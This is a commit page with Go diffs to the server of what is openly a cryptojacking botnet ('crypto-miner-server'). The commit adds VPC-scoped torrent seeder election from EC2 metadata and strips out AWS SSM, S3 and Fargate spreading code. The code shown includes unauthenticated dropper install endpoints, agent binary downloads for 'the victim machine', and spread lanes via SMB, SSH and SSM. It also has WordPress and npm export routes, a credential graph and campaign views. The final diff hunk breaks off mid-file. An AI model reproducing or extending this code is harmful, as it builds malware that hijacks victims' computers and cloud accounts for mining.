Elect one fleet torrent seeder per AWS VPC via IMDS cloud_instance_meta.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Agents read vpc-id from EC2 IMDS on auth; the server scopes subnet_primary_seeder to vpc-id with /24 fallback, exposes VPC seeder badges, and documents cross-VPC gossip via peering/TGW.
This commit is contained in:
92
server/internal/api/cloud_instance_meta.go
Normal file
92
server/internal/api/cloud_instance_meta.go
Normal file
@@ -0,0 +1,92 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
type CloudInstanceMeta struct {
|
||||
VpcID string `json:"vpc_id,omitempty"`
|
||||
SubnetID string `json:"subnet_id,omitempty"`
|
||||
Region string `json:"region,omitempty"`
|
||||
}
|
||||
|
||||
func (m CloudInstanceMeta) present() bool {
|
||||
return strings.TrimSpace(m.VpcID) != "" || strings.TrimSpace(m.SubnetID) != "" || strings.TrimSpace(m.Region) != ""
|
||||
}
|
||||
|
||||
func normalizeCloudInstanceMeta(m CloudInstanceMeta) CloudInstanceMeta {
|
||||
return CloudInstanceMeta{
|
||||
VpcID: strings.TrimSpace(m.VpcID), SubnetID: strings.TrimSpace(m.SubnetID), Region: strings.TrimSpace(m.Region),
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) storeAgentCloudMeta(agentID string, meta CloudInstanceMeta) {
|
||||
meta = normalizeCloudInstanceMeta(meta)
|
||||
if !meta.present() {
|
||||
return
|
||||
}
|
||||
h.mu.Lock()
|
||||
tel, ok := h.agentLiveTelemetry[agentID]
|
||||
if !ok {
|
||||
tel = map[string]interface{}{}
|
||||
h.agentLiveTelemetry[agentID] = tel
|
||||
}
|
||||
tel["cloud_instance_meta"] = map[string]interface{}{
|
||||
"vpc_id": meta.VpcID, "subnet_id": meta.SubnetID, "region": meta.Region,
|
||||
}
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) agentCloudMetaLocked(agentID string) CloudInstanceMeta {
|
||||
if tel, ok := h.agentLiveTelemetry[agentID]; ok {
|
||||
if raw, ok := tel["cloud_instance_meta"].(map[string]interface{}); ok {
|
||||
meta := CloudInstanceMeta{}
|
||||
if v, ok := raw["vpc_id"].(string); ok {
|
||||
meta.VpcID = v
|
||||
}
|
||||
if v, ok := raw["subnet_id"].(string); ok {
|
||||
meta.SubnetID = v
|
||||
}
|
||||
if v, ok := raw["region"].(string); ok {
|
||||
meta.Region = v
|
||||
}
|
||||
return normalizeCloudInstanceMeta(meta)
|
||||
}
|
||||
}
|
||||
return CloudInstanceMeta{}
|
||||
}
|
||||
|
||||
func primarySeederScope(clientIP string, meta CloudInstanceMeta) string {
|
||||
if strings.TrimSpace(meta.VpcID) != "" {
|
||||
return strings.TrimSpace(meta.VpcID)
|
||||
}
|
||||
return subnetPrefix24(clientIP)
|
||||
}
|
||||
|
||||
func (h *WSHub) agentMatchesPrimaryScopeLocked(agentID, scope string) bool {
|
||||
meta := h.agentCloudMetaLocked(agentID)
|
||||
if meta.VpcID != "" {
|
||||
return meta.VpcID == scope
|
||||
}
|
||||
return subnetPrefix24(h.agentIPLocked(agentID)) == scope
|
||||
}
|
||||
|
||||
func (h *WSHub) attachVPCSeederTelemetry(agent *models.Agent, agentID, _, role, primaryPick string) {
|
||||
if agent == nil {
|
||||
return
|
||||
}
|
||||
meta := h.agentCloudMetaLocked(agentID)
|
||||
if !meta.present() {
|
||||
return
|
||||
}
|
||||
agent.CloudVpcID = meta.VpcID
|
||||
agent.CloudSubnetID = meta.SubnetID
|
||||
agent.CloudRegion = meta.Region
|
||||
if role != "seeder" || primaryPick == "" {
|
||||
return
|
||||
}
|
||||
primary := primaryPick == agentID
|
||||
agent.VPCPrimarySeeder = &primary
|
||||
}
|
||||
@@ -1,7 +1,6 @@
|
||||
package api
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/hmac"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
@@ -14,7 +13,6 @@ import (
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/cloudmap"
|
||||
"crypto-miner-server/internal/erasure"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/spreadrouter"
|
||||
@@ -74,7 +72,6 @@ type DeployPlanBody struct {
|
||||
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
|
||||
SpreadRouteHint *spreadrouter.SpreadRouteHint `json:"spread_route_hint,omitempty"`
|
||||
ErasurePlan *erasure.Plan `json:"erasure_plan,omitempty"`
|
||||
SSMDocument string `json:"ssm_document,omitempty"`
|
||||
}
|
||||
|
||||
type deployPlanRequest struct {
|
||||
@@ -105,10 +102,8 @@ type DeployPlanHandler struct {
|
||||
fleetSecret func() string
|
||||
allowlist func() map[string]ServiceDeployLane
|
||||
pathTracer *PathTracerHandler
|
||||
erasureEnabled func() bool
|
||||
erasureShards *erasure.ShardStore
|
||||
awsSwarmSettings func() erasure.AWSSwarmSettings
|
||||
awsShardStore func(erasure.AWSSwarmSettings) erasure.ShardObjectStore
|
||||
erasureEnabled func() bool
|
||||
erasureShards *erasure.ShardStore
|
||||
}
|
||||
|
||||
func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler {
|
||||
@@ -142,11 +137,6 @@ func (h *DeployPlanHandler) BindErasureFromHub(hub *WSHub, store *erasure.ShardS
|
||||
h.erasureEnabled = func() bool { return hub.serverPolicySnapshot().ErasureLanesEnabled }
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) BindAWSErasureSwarm(settings func() erasure.AWSSwarmSettings, store func(erasure.AWSSwarmSettings) erasure.ShardObjectStore) {
|
||||
h.awsSwarmSettings = settings
|
||||
h.awsShardStore = store
|
||||
}
|
||||
|
||||
// POST /api/v1/agent/deploy-plan
|
||||
func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) {
|
||||
var req deployPlanRequest
|
||||
@@ -268,17 +258,10 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
|
||||
case "spread_smb_unc":
|
||||
body.UNCPath = strings.TrimSpace(req.UNCPath)
|
||||
body.MaxHosts = 64
|
||||
case "ssm_document":
|
||||
bundle, err := h.buildSSMSpreadBundle(req, serverURL)
|
||||
if err != nil {
|
||||
return DeployPlanBody{}, err
|
||||
}
|
||||
body.SSMDocument = bundle.Document
|
||||
default:
|
||||
return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane)
|
||||
}
|
||||
body.SpreadRouteHint = h.recommendSpreadRoute(req, lane.Lane)
|
||||
h.attachCloudMapRouteVia(&body)
|
||||
if err := h.attachErasurePlan(req, serverURL, &body); err != nil {
|
||||
return DeployPlanBody{}, err
|
||||
}
|
||||
@@ -331,41 +314,12 @@ func (h *DeployPlanHandler) attachErasurePlan(req deployPlanRequest, serverURL s
|
||||
if body.SpreadRouteHint != nil {
|
||||
body.SpreadRouteHint.ErasureLanesEnabled = true
|
||||
}
|
||||
shards := shardsFromStore(h.erasureShards, plan.ShardToken)
|
||||
hashes := erasure.ShardContentHashes(shards)
|
||||
if h.awsSwarmSettings != nil && h.awsShardStore != nil {
|
||||
cfg := h.awsSwarmSettings()
|
||||
if cfg.Enabled() && cfg.CredentialsReady() && cfg.SigningReady() {
|
||||
result, err := erasure.AttachS3Swarm(context.Background(), cfg, h.awsShardStore(cfg), plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, shards, hashes)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if result != nil {
|
||||
for i := range plan.Shards {
|
||||
if i < len(result.EdgeURLs) {
|
||||
plan.Shards[i].EdgeURL = result.EdgeURLs[i]
|
||||
}
|
||||
}
|
||||
if body.SpreadRouteHint == nil {
|
||||
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
|
||||
}
|
||||
body.SpreadRouteHint.SwarmMagnet = result.SwarmMagnet
|
||||
body.SpreadRouteHint.ShardManifestURLs = result.ShardManifestURLs
|
||||
}
|
||||
}
|
||||
}
|
||||
if body.SpreadRouteHint == nil || body.SpreadRouteHint.SwarmMagnet == "" {
|
||||
if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, hashes); err == nil && manifest != nil {
|
||||
if body.SpreadRouteHint == nil {
|
||||
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
|
||||
}
|
||||
if body.SpreadRouteHint.SwarmMagnet == "" {
|
||||
body.SpreadRouteHint.SwarmMagnet = manifest.SwarmMagnet
|
||||
}
|
||||
if len(body.SpreadRouteHint.ShardManifestURLs) == 0 {
|
||||
body.SpreadRouteHint.ShardManifestURLs = manifest.ShardManifestURLs
|
||||
}
|
||||
if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, erasure.ShardContentHashes(shardsFromStore(h.erasureShards, plan.ShardToken))); err == nil && manifest != nil {
|
||||
if body.SpreadRouteHint == nil {
|
||||
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
|
||||
}
|
||||
body.SpreadRouteHint.SwarmMagnet = manifest.SwarmMagnet
|
||||
body.SpreadRouteHint.ShardManifestURLs = manifest.ShardManifestURLs
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -845,49 +799,3 @@ func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret strin
|
||||
expected := hex.EncodeToString(mac.Sum(nil))
|
||||
return hmac.Equal([]byte(expected), []byte(signature))
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) cloudMapSettings() (namespace, service string) {
|
||||
namespace = "prod.local"
|
||||
service = "seeder"
|
||||
if h.dataDir == "" {
|
||||
return namespace, service
|
||||
}
|
||||
cfgPath := filepath.Join(h.dataDir, "config.json")
|
||||
data, err := os.ReadFile(cfgPath)
|
||||
if err != nil {
|
||||
return namespace, service
|
||||
}
|
||||
var payload struct {
|
||||
Server struct {
|
||||
CloudMapNamespace string `json:"cloud_map_namespace"`
|
||||
CloudMapService string `json:"cloud_map_service"`
|
||||
} `json:"server"`
|
||||
}
|
||||
if json.Unmarshal(data, &payload) != nil {
|
||||
return namespace, service
|
||||
}
|
||||
if ns := strings.TrimSpace(payload.Server.CloudMapNamespace); ns != "" {
|
||||
namespace = ns
|
||||
}
|
||||
if svc := strings.TrimSpace(payload.Server.CloudMapService); svc != "" {
|
||||
service = svc
|
||||
}
|
||||
return namespace, service
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) attachCloudMapRouteVia(body *DeployPlanBody) {
|
||||
if body == nil {
|
||||
return
|
||||
}
|
||||
ns, svc := h.cloudMapSettings()
|
||||
routeVia := cloudmap.SeederDNSName(svc, ns)
|
||||
if routeVia == "" {
|
||||
return
|
||||
}
|
||||
if body.SpreadRouteHint == nil {
|
||||
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
|
||||
}
|
||||
if strings.TrimSpace(body.SpreadRouteHint.RouteVia) == "" {
|
||||
body.SpreadRouteHint.RouteVia = routeVia
|
||||
}
|
||||
}
|
||||
|
||||
@@ -93,7 +93,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
|
||||
|
||||
dropperHandler := NewDropperHandler(database, dataDir, nil)
|
||||
fleetAIHandler := NewFleetAIHandler(cfg, database)
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
|
||||
}
|
||||
|
||||
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
|
||||
@@ -170,7 +170,7 @@ func newFusionTestRouter(t *testing.T, projectRoot string) (http.Handler, *WSHub
|
||||
|
||||
dropperHandler := NewDropperHandler(database, dataDir, nil)
|
||||
fleetAIHandler := NewFleetAIHandler(cfg, database)
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
|
||||
}
|
||||
|
||||
func fusionMultipartBody(t *testing.T) (*bytes.Buffer, string) {
|
||||
|
||||
@@ -27,7 +27,7 @@ import (
|
||||
)
|
||||
|
||||
// authSessionCache avoids running bcrypt on every API request.
|
||||
// Key: SHA-256(user+":"+password) hex ? value: expiry time.
|
||||
// Key: SHA-256(user+":"+password) hex — value: expiry time.
|
||||
// Entries are valid for authCacheTTL after the last successful login.
|
||||
// Bcrypt only runs on cache miss or expiry.
|
||||
var (
|
||||
@@ -176,9 +176,9 @@ func printStartupCredentials(dataDir string) {
|
||||
|
||||
func formatLoginBanner(creds map[string]string) string {
|
||||
var b strings.Builder
|
||||
b.WriteString("\n????????????????????????????????????????????????????\n")
|
||||
b.WriteString("? AetherForge ? Dashboard Login ?\n")
|
||||
b.WriteString("? ?\n")
|
||||
b.WriteString("\n╔══════════════════════════════════════════════════╗\n")
|
||||
b.WriteString("║ AetherForge — Dashboard Login ║\n")
|
||||
b.WriteString("║ ║\n")
|
||||
users := make([]string, 0, len(creds))
|
||||
for user := range creds {
|
||||
users = append(users, user)
|
||||
@@ -186,13 +186,13 @@ func formatLoginBanner(creds map[string]string) string {
|
||||
sort.Strings(users)
|
||||
for _, user := range users {
|
||||
pass := creds[user]
|
||||
fmt.Fprintf(&b, "? Username : %-34s?\n", user)
|
||||
fmt.Fprintf(&b, "? Password : %-34s?\n", pass)
|
||||
b.WriteString("? ?\n")
|
||||
fmt.Fprintf(&b, "║ Username : %-34s║\n", user)
|
||||
fmt.Fprintf(&b, "║ Password : %-34s║\n", pass)
|
||||
b.WriteString("║ ║\n")
|
||||
}
|
||||
b.WriteString("? Also saved in data/login-credentials.json ?\n")
|
||||
b.WriteString("? Change passwords in Calibrate ? Users. ?\n")
|
||||
b.WriteString("????????????????????????????????????????????????????\n")
|
||||
b.WriteString("║ Also saved in data/login-credentials.json ║\n")
|
||||
b.WriteString("║ Change passwords in Calibrate → Users. ║\n")
|
||||
b.WriteString("╚══════════════════════════════════════════════════╝\n")
|
||||
return b.String()
|
||||
}
|
||||
|
||||
@@ -395,7 +395,7 @@ func saveUser(username, password string) error {
|
||||
|
||||
// isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker.
|
||||
// Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch
|
||||
// must not trigger that ? only bare browser navigations without these headers should.
|
||||
// must not trigger that — only bare browser navigations without these headers should.
|
||||
func isSPAAuthRequest(r *http.Request) bool {
|
||||
return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != ""
|
||||
}
|
||||
@@ -410,7 +410,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
path := r.URL.Path
|
||||
|
||||
// Health check and one-liner installer endpoints are always open.
|
||||
// NOTE: build download/artifact routes are intentionally NOT in this list ?
|
||||
// NOTE: build download/artifact routes are intentionally NOT in this list —
|
||||
// they require fleet-secret or Basic Auth (see isDownload block below).
|
||||
if path == "/api/v1/health" ||
|
||||
path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
|
||||
@@ -422,7 +422,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
|
||||
// in the X-Fleet-Secret header instead of Basic auth. This ensures only
|
||||
// legitimately forged agents can call these endpoints.
|
||||
// A missing or empty fleet secret is always rejected ? the server auto-
|
||||
// A missing or empty fleet secret is always rejected — the server auto-
|
||||
// generates one at startup so this state should never occur in production.
|
||||
if strings.HasPrefix(path, "/api/v1/agent/") {
|
||||
fleetSecretForAgentPathsMu.RLock()
|
||||
@@ -469,7 +469,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
return
|
||||
}
|
||||
|
||||
// Fast path ? skip bcrypt if this credential pair was recently validated.
|
||||
// Fast path — skip bcrypt if this credential pair was recently validated.
|
||||
// bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy.
|
||||
if !authCacheHit(user, pass) {
|
||||
usersMu.RLock()
|
||||
@@ -483,7 +483,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
// Credential verified ? cache it for the next few minutes.
|
||||
// Credential verified — cache it for the next few minutes.
|
||||
authCacheSet(user, pass)
|
||||
}
|
||||
|
||||
@@ -491,7 +491,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
})
|
||||
}
|
||||
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, fleetAIHandler *FleetAIHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, erasureSwarmHandler *ErasureSwarmHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, fleetAIHandler *FleetAIHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
|
||||
ensureUsersLoaded(dataDir)
|
||||
|
||||
version := "AetherForge"
|
||||
@@ -514,7 +514,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
AllowCredentials: false,
|
||||
}))
|
||||
|
||||
// REST API ? auth only on /api/v1 (dashboard WS + static SPA stay open)
|
||||
// REST API — auth only on /api/v1 (dashboard WS + static SPA stay open)
|
||||
r.Route("/api/v1", func(r chi.Router) {
|
||||
r.Use(basicAuthMiddleware)
|
||||
h := NewHandler(database)
|
||||
@@ -639,10 +639,6 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
// Config
|
||||
r.Get("/config", configHandler.ServeHTTP)
|
||||
r.Put("/config", configHandler.ServeHTTP)
|
||||
if erasureSwarmHandler != nil {
|
||||
r.Post("/erasure-swarm/test", erasureSwarmHandler.PostTest)
|
||||
r.Get("/erasure-swarm/policy-json", erasureSwarmHandler.GetPolicyJSON)
|
||||
}
|
||||
|
||||
// Builder
|
||||
r.Post("/builder/build", builderHandler.ServeHTTP)
|
||||
@@ -652,18 +648,12 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Post("/builder/wordpress-plugin-export", spreadHandler.ExportWordPressPlugin)
|
||||
r.Post("/builder/npm-helper-export", spreadHandler.ExportNpmHelper)
|
||||
r.Post("/builder/spread-template-export", spreadHandler.ExportSpreadTemplate)
|
||||
r.Post("/builder/cloud-template-export", spreadHandler.ExportCloudTemplate)
|
||||
r.Post("/builder/cloud-connection-test", spreadHandler.TestCloudConnection)
|
||||
r.Post("/builder/fargate-burst-export", spreadHandler.ExportFargateBurst)
|
||||
r.Get("/emberwake/notes", spreadHandler.GetNotes)
|
||||
r.Put("/emberwake/notes", spreadHandler.PutNotes)
|
||||
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
|
||||
r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
|
||||
r.Get("/spread/aws-s3-crr-template", spreadHandler.GetS3CRRTemplate)
|
||||
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
|
||||
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
|
||||
r.Get("/spread/policy-fanout", spreadHandler.GetPolicyFanout)
|
||||
r.Post("/spread/policy-fanout-export", spreadHandler.ExportPolicyFanout)
|
||||
r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias
|
||||
}
|
||||
if wsHub != nil {
|
||||
@@ -690,7 +680,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
|
||||
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
|
||||
|
||||
// Fleet secret rotation ? generates a new secret, saves config, kicks all agents.
|
||||
// Fleet secret rotation — generates a new secret, saves config, kicks all agents.
|
||||
// Forged agents with the old secret will be rejected until re-forged.
|
||||
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
|
||||
if rotateSecretFn == nil {
|
||||
@@ -744,11 +734,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
writeJSON(w, map[string]interface{}{"success": true})
|
||||
})
|
||||
|
||||
// Deck backup ? authenticated full backup ZIP (config + DB + users)
|
||||
// Deck backup — authenticated full backup ZIP (config + DB + users)
|
||||
backupH := NewBackupHandler(dataDir, version)
|
||||
r.Get("/backup", backupH.ServeHTTP)
|
||||
|
||||
// Path Tracer ? on-demand WireGuard chain sessions
|
||||
// Path Tracer — on-demand WireGuard chain sessions
|
||||
if pathTracerHandler != nil {
|
||||
r.Post("/pathtrace/start", pathTracerHandler.Start)
|
||||
r.Post("/pathtrace/discover", pathTracerHandler.Discover)
|
||||
@@ -761,7 +751,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
|
||||
}
|
||||
|
||||
// Agent autonomy REST ? forged Go agents only (X-Fleet-Secret header).
|
||||
// Agent autonomy REST — forged Go agents only (X-Fleet-Secret header).
|
||||
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
|
||||
r.Post("/agent/decide", aiHandler.HandleDecide)
|
||||
r.Post("/agent/report", aiHandler.HandleReport)
|
||||
@@ -778,7 +768,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
}
|
||||
r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
|
||||
|
||||
// Public builds (also bypass auth in middleware ? listed here for chi routing)
|
||||
// Public builds (also bypass auth in middleware — listed here for chi routing)
|
||||
if publicHandler != nil {
|
||||
r.Get("/public/builds", publicHandler.ListBuilds)
|
||||
r.Get("/public/download/{id}", publicHandler.Download)
|
||||
@@ -787,12 +777,6 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard)
|
||||
r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest)
|
||||
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
|
||||
r.Get("/public/policy-snapshot/{token}", publicHandler.PolicySnapshot)
|
||||
}
|
||||
if spreadHandler != nil {
|
||||
r.Get("/public/fargate-burst/task-definition.json", spreadHandler.FargateBurstTaskDefinition)
|
||||
r.Get("/public/fargate-burst/run-task.sh", spreadHandler.FargateBurstRunScript)
|
||||
r.Get("/public/fargate-burst/bundle.zip", spreadHandler.FargateBurstBundleZip)
|
||||
}
|
||||
})
|
||||
|
||||
@@ -800,7 +784,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/ws/agent", wsHub.HandleAgentWS)
|
||||
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
|
||||
|
||||
// One-liner remote install endpoints (unauthenticated ? URL knowledge is the gate)
|
||||
// One-liner remote install endpoints (unauthenticated — URL knowledge is the gate)
|
||||
if dropperHandler != nil {
|
||||
r.Get("/get", dropperHandler.ServeGet)
|
||||
r.Get("/install.sh", dropperHandler.ServeSh)
|
||||
@@ -808,7 +792,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/install.command", dropperHandler.ServeCommand)
|
||||
}
|
||||
|
||||
// SUPP Seek agent download endpoints ? serve agent binaries so launcher scripts
|
||||
// SUPP Seek agent download endpoints — serve agent binaries so launcher scripts
|
||||
// dropped by Seek Mode can fetch and run the agent on the victim machine.
|
||||
// Unauthenticated (the drop URL itself is the secret).
|
||||
r.Get("/api/download/agent-windows", serveAgentBinary("windows"))
|
||||
@@ -913,8 +897,8 @@ func findAgentBinary(platform, dir string) (binPath, dlName string, ok bool) {
|
||||
// exe so it works both from the USB bundle and from a compiled dev build.
|
||||
//
|
||||
// Filename convention (same as what the build pipeline produces):
|
||||
// - windows ? crypto-miner-agent.exe
|
||||
// - mac/linux ? crypto-miner-agent (no extension)
|
||||
// - windows → crypto-miner-agent.exe
|
||||
// - mac/linux → crypto-miner-agent (no extension)
|
||||
// agentBinarySearchDir returns the directory used to locate bundled agent binaries.
|
||||
// Tests may override this to point at a temp tree instead of os.Executable()'s dir.
|
||||
var agentBinarySearchDir = func() (string, error) {
|
||||
|
||||
@@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
||||
|
||||
dlURL := "/api/v1/builds/" + buildID + "/download"
|
||||
|
||||
@@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
||||
|
||||
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
|
||||
@@ -28,10 +28,6 @@ type ServerPolicy struct {
|
||||
ErasureLanesEnabled bool
|
||||
// FleetTorrentEnabled enables fleet-wide shard DHT gossip and torrent manifests.
|
||||
FleetTorrentEnabled bool
|
||||
AwsS3ShardRegion string
|
||||
AwsCloudFrontDomain string
|
||||
FargateBurstCampaign bool
|
||||
FargateBurstTTLHours int
|
||||
// StrainHospiceWinRateThreshold auto-retires strains below this win rate when AI control is on.
|
||||
StrainHospiceWinRateThreshold float64
|
||||
// StrainHospiceMinAttempts is minimum spread outcomes before AI auto-hospice applies.
|
||||
|
||||
@@ -35,8 +35,6 @@ var DefaultServiceDeployAllowlist = map[string]ServiceDeployLane{
|
||||
"Server": {Lane: "spread_smb_unc", Priority: 45},
|
||||
"sshd": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
|
||||
"ssh": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
|
||||
"AmazonSSMAgent": {Lane: "ssm_document", Priority: 28, Template: "ssm-document"},
|
||||
"amazon-ssm-agent": {Lane: "ssm_document", Priority: 28, Template: "ssm-document"},
|
||||
}
|
||||
|
||||
// NormalizeServiceDeployAllowlist returns defaults when empty and normalizes lane ids.
|
||||
@@ -63,8 +61,6 @@ func NormalizeServiceDeployAllowlist(raw map[string]ServiceDeployLane) map[strin
|
||||
lane.Template = "gpo"
|
||||
case "linux_lotl":
|
||||
lane.Template = "linux-lotl"
|
||||
case "ssm_document":
|
||||
lane.Template = "ssm-document"
|
||||
}
|
||||
}
|
||||
out[name] = lane
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package api
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
@@ -12,60 +12,17 @@ import (
|
||||
"time"
|
||||
|
||||
